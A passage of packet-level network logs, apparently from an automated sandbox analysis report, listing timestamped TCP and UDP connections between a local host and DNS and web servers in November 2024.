Nov 14, 2024 16:39:56.965584040 CET	53	62144	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:56.965984106 CET	53	62144	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:56.966012001 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:56.966083050 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:56.967591047 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:56.967885017 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:56.967946053 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:56.968296051 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:56.968600035 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:56.968682051 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:56.968866110 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:56.971460104 CET	53	62144	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:56.971529961 CET	62144	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:57.011378050 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.104540110 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.104553938 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.104899883 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.104935884 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.104999065 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.105015039 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.106014013 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.106015921 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.106093884 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.106997013 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.106997013 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.107059956 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.107124090 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.107192993 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.107215881 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.107222080 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.107310057 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.107323885 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.157696962 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.157701015 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.198375940 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.198652983 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.198677063 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.199007988 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.199295044 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.199353933 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.199389935 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.201169014 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.243336916 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.253760099 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.253760099 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.320372105 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320388079 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320445061 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320489883 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320489883 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.320539951 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320555925 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.320566893 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.320566893 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.320596933 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.321579933 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.321630955 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.321647882 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.321654081 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.321666956 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.321691990 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.321724892 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.322045088 CET	60552	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.322067022 CET	443	60552	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.435501099 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.435614109 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.435702085 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.436373949 CET	62147	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.436388969 CET	443	62147	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.438921928 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.438975096 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.439064026 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.439281940 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:57.439299107 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:57.739586115 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.739618063 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.739625931 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.739685059 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.739742994 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.739814043 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.739882946 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.739980936 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.740060091 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.740119934 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.740458012 CET	62145	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.740495920 CET	443	62145	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.753751040 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.753797054 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:57.754055023 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.754275084 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:57.754287004 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104332924 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104362965 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104371071 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104404926 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104429960 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104691029 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.104691029 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.104763985 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.104850054 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.223613977 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.223649979 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.223932981 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.224004030 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.224104881 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.225181103 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.225207090 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.225286007 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.225301981 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.225361109 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.385425091 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.385458946 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.385544062 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.385565042 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.385622978 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.465048075 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.465073109 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.465173006 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.465184927 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.465236902 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.466558933 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.466856956 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:58.466887951 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.467245102 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.467549086 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:58.467616081 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.467705011 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:58.511326075 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.539777040 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.540077925 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.540105104 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.540971041 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.541038036 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.541280985 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.541326046 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.541373014 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.581608057 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.581633091 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.581792116 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.581855059 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.581948042 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.582882881 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.582899094 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.582967997 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.582983017 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.583048105 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.583328009 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.593719959 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.593739033 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.625746012 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:58.641697884 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.695705891 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.695828915 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.695899010 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:58.696738005 CET	62149	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:58.696774006 CET	443	62149	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:58.701725006 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.701750040 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.701833010 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.701894999 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.701965094 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.820210934 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.820239067 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.820327997 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.820342064 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.820352077 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.820386887 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832215071 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832237005 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832245111 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832268953 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832294941 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832391024 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832391977 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832405090 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832474947 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832715988 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832778931 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.832823992 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832901001 CET	62150	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.832912922 CET	443	62150	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.864655018 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.864684105 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.864855051 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.864861965 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.864929914 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.940541029 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.940601110 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.940655947 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.940736055 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:58.940774918 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:58.940798998 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.059214115 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.059282064 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.059390068 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.059418917 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.059482098 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.059482098 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.060343027 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.060389042 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.060431004 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.060436964 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.060473919 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.060498953 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.181874037 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.181935072 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.181972027 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182002068 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.182022095 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182054996 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182094097 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.182149887 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182157993 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.182264090 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.182320118 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182522058 CET	62146	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.182538033 CET	443	62146	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.187216997 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.187293053 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.187378883 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.187717915 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.187748909 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.790733099 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:59.962090015 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.962491035 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.962522030 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.962863922 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.963182926 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:39:59.963233948 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:39:59.963340998 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.007324934 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.215050936 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.215076923 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.215092897 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.215241909 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.215275049 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.215348959 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.338403940 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.338429928 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.338593960 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.338619947 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.338788986 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.394573927 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.394606113 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.394798040 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.394808054 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.394962072 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.474163055 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.474184036 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.474277020 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.474303007 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.474375963 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.597537041 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.597554922 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.597656965 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.597688913 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.597734928 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.720257044 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.720308065 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.720521927 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.720554113 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.720643044 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.765507936 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.765543938 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.765659094 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.765687943 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.765733004 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.888859987 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.888921976 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.889089108 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.889131069 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.889189005 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.968099117 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.968121052 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.968267918 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:00.968300104 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:00.968343973 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.078402042 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.078429937 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.078587055 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.078617096 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.078676939 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.135385036 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.135416031 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.135571957 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.135613918 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.135689974 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.213798046 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.213826895 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.213994980 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.214030981 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.214081049 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.259871960 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.259896994 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.260078907 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.260112047 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.260159969 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.339181900 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.339207888 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.339337111 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.339368105 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.339416981 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.339997053 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.340059996 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.340065956 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.340087891 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.340137005 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.340213060 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.340229988 CET	443	62151	13.107.246.45	192.168.2.17
Nov 14, 2024 16:40:01.340240955 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:01.340275049 CET	62151	443	192.168.2.17	13.107.246.45
Nov 14, 2024 16:40:02.656965971 CET	49696	80	192.168.2.17	2.22.50.144
Nov 14, 2024 16:40:02.662734985 CET	80	49696	2.22.50.144	192.168.2.17
Nov 14, 2024 16:40:02.662880898 CET	49696	80	192.168.2.17	2.22.50.144
Nov 14, 2024 16:40:08.238758087 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:40:18.616895914 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:18.616975069 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:18.617070913 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:18.617301941 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:18.617311954 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:19.468346119 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:19.468648911 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:19.468672991 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:19.468970060 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:19.469271898 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:19.469332933 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:19.511766911 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:23.268842936 CET	49729	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:40:23.268876076 CET	443	49729	78.138.9.37	192.168.2.17
Nov 14, 2024 16:40:29.557410955 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:29.557508945 CET	443	62153	142.250.185.100	192.168.2.17
Nov 14, 2024 16:40:29.557591915 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:30.050803900 CET	62153	443	192.168.2.17	142.250.185.100
Nov 14, 2024 16:40:30.050839901 CET	443	62153	142.250.185.100	192.168.2.17

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 16:39:13.772281885 CET	53	64566	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:13.793268919 CET	53	59018	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:14.588550091 CET	62572	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:14.589139938 CET	56081	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:14.597492933 CET	53	62572	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:14.636178017 CET	53	56081	1.1.1.1	192.168.2.17
